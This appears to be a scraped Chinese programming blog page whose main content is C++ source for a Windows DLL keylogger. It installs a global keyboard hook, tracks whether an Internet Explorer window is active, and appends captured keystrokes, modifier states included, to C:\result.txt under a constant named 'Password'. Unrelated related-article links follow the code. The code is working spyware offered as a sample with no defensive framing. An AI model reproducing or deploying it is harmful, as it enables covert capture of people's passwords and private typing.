//.header

#ifndef _DLLHOOK_H_
#define _DLLHOOK_H_ #include <windows.h>
#define DLL_EXPORT_FUN __declspec(dllexport)
DLL_EXPORT_FUN BOOL InstallHook();
DLL_EXPORT_FUN BOOL UninstallHook(); #endif //.cpp #include <process.h>
#include <stdio.h>
#include "DllHook.h" #define Password "C:\\result.txt"
#define TextLength 20
#define CHARNUMBER 5
#define CAPITALNUM 10 HHOOK hHookKeyboard=0;
HHOOK hHookMsg=0;
HANDLE hDll=NULL;
char TextMsg[TextLength]={0};
bool IE_is_actived=true;
HWND hhWnd=NULL;
FILE *pfFile=NULL;
unsigned int Counter=0;
int shift = 32;
short flag=0;;
char tombnum[CHARNUMBER]={0};
enum NUM
{
SHIFT,
CONTROL,
ALT,
CAPITAL
};
static int TempArray[CHARNUMBER][CAPITAL+1];
static char text[TextLength]; void InitTable()
{ for (int i=0; i<CHARNUMBER; i++)
for (int j=0; j<CAPITALNUM+1; j++)
TempArray[i][j]=0;
} BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved )
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
hDll=hModule;
hhWnd=GetActiveWindow();
MessageBox(hhWnd,"DLLKEYBOARD","提示",MB_OKCANCEL);
}
//A new process is attempting to access the DLL; one thread is assumed.
break;
case DLL_PROCESS_DETACH:
//A process is detaching from the DLL.
UninstallHook();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
//One of the additional threads (not the first thread) of a process is detaching from the DLL.
break;
}
return TRUE;
} LRESULT CALLBACK KeyboardProc(int code,WPARAM wParam,LPARAM lParam)
{
int i, temp;
int flag_shift;
int flag_capital;
int flag_alt;
int flag_control; if (IE_is_actived)
{
if ((wParam == VK_SHIFT) || (wParam == VK_CAPITAL) || (wParam == VK_MENU) || (wParam == VK_CONTROL))
{
flag_shift = 0x8000 & GetKeyState(VK_SHIFT);
flag_capital = 0x0001 & GetKeyState(VK_CAPITAL);
flag_alt = 0x8000 & GetKeyState(VK_MENU);
flag_control = 0x8000 & GetKeyState(VK_CONTROL);
}
if (wParam!=VK_TAB && wParam!=VK_ESCAPE && wParam !=VK_LEFT && wParam!=VK_RIGHT &&
wParam!=VK_UP && wParam!=VK_DOWN && wParam!=VK_END && wParam!=VK_HOME &&
wParam!=VK_PRIOR && wParam!=VK_NEXT && wParam!=VK_INSERT && wParam!=VK_NUMLOCK &&
wParam!=VK_SCROLL && wParam!=VK_PAUSE && wParam!=VK_LWIN && wParam!=VK_RWIN &&
wParam!=VK_F1 && wParam!=VK_F2 && wParam!=VK_F3 && wParam!=VK_F4 && wParam!=VK_F5 &&
wParam!=VK_F6 && wParam!=VK_F7 && wParam!=VK_F8 && wParam!=VK_F9 &&wParam!=VK_F10 &&
wParam!=VK_F11 && wParam!=VK_F12)
{
if ((0x80000000 & lParam) == 0) //WM_KEYDOWN?
{
if (wParam>=0x41 && wParam<=0x5a)
wParam+=32; //Kisbeture konvertalas
if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
{
if (wParam==VK_CAPITAL)
temp=1;
else temp=0;
TempArray[Counter][wParam-16-temp]=1;
}
tombnum[Counter] = wParam;
Counter++;
}
else //WM_KEYUP?
if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
{
if (wParam==VK_CAPITAL)
temp=1;
else temp=0;
TempArray[Counter][wParam-16-temp]=2;
tombnum[Counter] = wParam;
Counter++;
}
if (Counter==CHARNUMBER)
{
pfFile = fopen(Password, "a+"); for (i=0; i<(signed)Counter; i++)
{
switch(tombnum[i])
{
case VK_DELETE :
fprintf(pfFile, "%s", "<d>");
break; case VK_RETURN :
fprintf(pfFile, "%s", "\n");
break; case VK_BACK :
fprintf(pfFile, "%s", "<b>");
break; case VK_SHIFT :
if (TempArray[i][SHIFT]==1)
fprintf(pfFile, "%s", "<sd>");
else
fprintf(pfFile, "%s", "<su>");
break; case VK_CONTROL :
if (TempArray[i][CONTROL]==1)
fprintf(pfFile, "%s", "<ctd>");
else
fprintf(pfFile, "%s", "<ctu>");
break; case VK_MENU :
if (TempArray[i][ALT]==1)
fprintf(pfFile, "%s", "<ad>");
else
fprintf(pfFile, "%s", "<au>");
break; case VK_CAPITAL :
if (TempArray[i][CAPITAL]==1)
fprintf(pfFile, "%s", "<cpd>");
else
fprintf(pfFile, "%s", "<cpu>");
break; default:
fprintf(pfFile, "%c", tombnum[i]);
break;
}
}
fclose (pfFile);
Counter=0;
InitTable();
}
}
}
return CallNextHookEx(hHookKeyboard, code, wParam, lParam);
} LRESULT CALLBACK CBTProc(int nCode, WPARAM wParam, LPARAM lParam)
{ if(nCode==HCBT_ACTIVATE)
{
GetClassName(hhWnd,TextMsg,TextLength);
{
if (TextMsg[0]=='I'&&TextMsg[1]=='E')
IE_is_actived=true;
else
IE_is_actived=false;
}
return 1;
}
else
return CallNextHookEx(hHookMsg,nCode,wParam,lParam);
} DLL_EXPORT_FUN BOOL InstallHook()
{ hHookKeyboard=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,(HINSTANCE)hDll,(DWORD)NULL);
if (hHookKeyboard==NULL)
{
return false;
}
hHookMsg=SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,(HINSTANCE)hDll,(DWORD)NULL);
if (hHookMsg==NULL)
{
return false;
}
return true;
} DLL_EXPORT_FUN BOOL UninstallHook()
{ if(UnhookWindowsHookEx(hHookKeyboard)==0)
return false;
if (UnhookWindowsHookEx(hHookMsg)==0)
return false;
else
return TRUE;
}

动态链接库dll键盘钩子后台记录代码示例的更多相关文章

  1. C# 键盘钩子

    p{ text-align:center; } blockquote > p > span{ text-align:center; font-size: 18px; color: #ff0 ...

  2. 2.添加键盘钩子。向进程中注入dll

    学习笔记 1.首先要建立mfc的动态链接库.在def文件中放入要导出的函数名. 2.添加函数如下 //安装钩子 //HHOOK SetWindowsHookEx( // int idHook,//钩子 ...

  3. 基于C#实现的HOOK键盘钩子实例代码

    本文所述为基于C#实现的HOOK实例,该实例可用来屏蔽系统热键.程序主要实现了安装钩子.传递钩子.卸载钩子等功能.在传递钩子中:<param name="pHookHandle&quo ...

  4. 通过.NET实现后台自动发送Email功能的代码示例

    原文:通过.NET实现后台自动发送Email功能的代码示例 通过.NET实现后台自动发送邮件功能的代码,可以将一些基础信息放到web.config文件中进行保存: Web.config文件信息段: & ...

  5. hook键盘钩子 带dll

    library Key; uses SysUtils, Classes, HookKey_Unit in 'HookKey_Unit.pas'; {$R *.res} exports HookOn,H ...

  6. Linux 动态链接库 - dll劫持

    如何使用动态链接库 Linux下打开使用动态链接库需要三步(实际上和windows下基本一样):1.加载动态链接库,通过调用库函数dlopen()获得链接库的句柄,对应于windows下的 AfxLo ...

  7. WPF 利用键盘钩子来捕获键盘,做一些不为人知的事情...完整实例

    键盘钩子是一种可以监控键盘操作的指令. 看到这句话是不是觉得其实键盘钩子可以做很多事情. 场景 当你的程序需要一个全局的快捷键时,可以考虑使用键盘钩子,如大家常用qq的截图快捷键,那么在WPF里怎么去 ...

  8. 编译可供C#调用的C/C++动态链接库dll文件

    编译可供C#调用的C/C++动态链接库dll文件,C语言控制台应用程序,探索生成dll过程 由于项目需求,需要公司另一个团队提供相关算法支持,是用C语言编译好的dll库提供给我们进行调用. 但是拿到d ...

  9. VC++动态链接库(DLL)编程深入浅出(zz)

    VC++动态链接库(DLL)编程深入浅出(zz) 1.概论 先来阐述一下DLL(Dynamic Linkable Library)的概念,你可以简单的把DLL看成一种仓库,它提供给你一些可以直接拿来用 ...

随机推荐

  1. [转载] 一致性问题和Raft一致性算法

    原文: http://daizuozhuo.github.io/consensus-algorithm/ raft 协议确实比 paxos 协议好懂太多了. 一致性问题 一致性算法是用来解决一致性问题 ...

  2. linux学习笔记2-命令总结5

    压缩解压命令 bzip2,gunzip,gzip,tar,zip 网络命令 ifconfig - 查看和配置网卡 lastlog - 检查某特定用户上次登录的时间 last - 列出目前和过去登入系统 ...

  3. poj1819Disks

    链接 题意:从左到右按顺序给你n个圆的半径,把左右两边想象成两堵墙的话,就是左右两边向里挤压,问哪些圆是对最后的宽度不影响. 刚开始理解错了,..以为怎么放圆使宽度最小.. 这样就可以尽量使每个圆向左 ...

  4. Java注解Annotation学习

    学习注解Annotation的原理,这篇讲的不错:http://blog.csdn.net/lylwo317/article/details/52163304 先自定义一个运行时注解 @Target( ...

  5. JS重要知识点(转载 学习中。。。)

    这里列出了一些JS重要知识点(不全面,但自己感觉很重要).彻底理解并掌握这些知识点,对于每个想要深入学习JS的朋友应该都是必须的. 讲解还是以示例代码搭配注释的形式,这里做个小目录: JS代码预解析原 ...

  6. 将一堆石子分成多堆——Multi-SG 游戏

    这类博弈只需要记住一点,一个由多个游戏组成的游戏sg值为这多个游戏的sg值异或和. 也就是所有对一整个nim游戏它的sg值即为每一小堆的sg的异或和. hdu 5795 这题就是可以选择把一堆石子分成 ...

  7. 面向对象的static关键字(类中的static关键字)

    转自:http://blog.csdn.net/xiayefanxing/article/details/7382192 http://www.cnblogs.com/SelaSelah/archiv ...

  8. Hello,Akka

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明http://www.blogbus.com/dreamhead-logs/235916459.html 只要稍微了解过一些Scala, ...

  9. 转!!sql server 数据库 索引的原理与应用

    索引的概念 索引的用途:我们对数据查询及处理速度已成为衡量应用系统成败的标准,而采用索引来加快数据处理速度通常是最普遍采用的优化方法. 索引是什么:数据库中的索引类似于一本书的目录,在一本书中使用目录 ...

  10. perl中->和=>作用

    -> 用法 -> 有两种用法,都和解引用有关. 第一种用法,就是解引用. 根据 -> 后面跟的符号的不同,解不同类型的引用, ->[] 表示解数组引用,->{} 表示解散 ...